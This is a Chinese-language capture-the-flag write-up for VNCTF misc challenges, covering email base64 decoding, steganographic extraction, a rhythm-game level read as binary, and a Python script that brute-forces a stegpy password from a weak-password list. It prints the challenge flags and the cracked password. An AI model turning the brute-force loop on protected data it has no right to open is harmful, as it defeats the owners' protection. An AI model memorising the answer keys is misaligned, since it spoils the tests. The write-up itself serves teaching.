使用如下的 CyberChef receipe 对 E-mail 文件中的 base64 字符串做进一步分析,可以发现某一段文本中含有一个 img 标签。
Find_/_Replace({'option':'Regex','string':'\\n'},'',true,false,true,false)
From_Base64('A-Za-z0-9+/=',true)
Decode_text('Simplified Chinese GB18030 (54936)')
From_HTML_Entity()
<img src="https://vnctf-213-1257061123.cos.ap-nanjing.myqcloud.com/ThisIsSecret.jpg" style="width: 770px; height: 256px;" id="img_insert_161259102178605354633598710636" modifysize="51%" diffpixels="8px" scalingmode="zoom">
将图片下载下来,使用 OurSecret 解密可得一个文件。
将文件保存后打开得到如下内容。
_fr0m_l@z@RuS}
将两段 flag 拼接起来得到完整的 flag。
vnctf{APT_1S_c0M1nG_fr0m_l@z@RuS}
Do_you_like_Rhythm_Doctor
节奏医生关卡编辑器:https://giacomopc.itch.io/rdle
将下载下来的附件解压两次后可以得到 main.rdlevel 文件。使用编辑器打开可以得到一首曲子的谱面。
可以观察到有四条轨道,每一条轨道上的点有矩形或者波两种情况。将文件用记事本打开,使用 0 代替波(Wave),使用 1 代替矩形(Square),可以得到如下数据。
011001100110110001100001011001110110101100000000010101110011001100110001011000110110111100000000011011010110010101011111010101100010011000000000010011100101111101000011010101000100011000000000
使用 CyberChef From Binary
解码可以大致看出 flag。
flag{W31come_V&N_CTF}
HAPPYNEWYEAR
解压附件可以得到一张名为 password.png 的图片和另一个压缩文档。
将图片上的内容对照 Chinese Code 和 Sheikah Language 解码。
可以得到压缩包密码为 f87840bdddcc01e4
。根据提示使用 stegpy 配合密码表爆破。因为 stegpy 默认是交互的,因此自己写一段代码来解密。
from stegpy import crypt
from stegpy.lsb import HostElement, decode_message, check_magic_number
class HostElementA(HostElement):
def read_message(self, password=None):
msg = decode_message(self.data)
if password:
try:
salt = bytes(msg[:16])
msg = crypt.decrypt_info(password, bytes(msg[16:]), salt)
except:
return False
check_magic_number(msg)
msg_len = int.from_bytes(bytes(msg[6:10]), 'big')
filename_len = int.from_bytes(bytes(msg[10:11]), 'big')
start = filename_len + 11
end = start + msg_len
text = bytes(msg[start:end]).decode('utf-8')
print(text)
return True
def Decrypt(filePath, password):
host_path = filePath
host = HostElementA(host_path)
password = password
return host.read_message(password)
file = open("password.txt", "r")
passwords = file.read().split("\n")
for password in passwords:
if Decrypt("happynewyear.png", password):
print("[*] Found password {}".format(password))
exit(0)
else:
print("[+] Tried password {}".format(password))
使用一份弱密码表配合上述脚本爆破可得如下内容。
VNCTF{HappyNewY3a5}
[*] Found password tyinfo
VNCTF{HappyNewY3a5}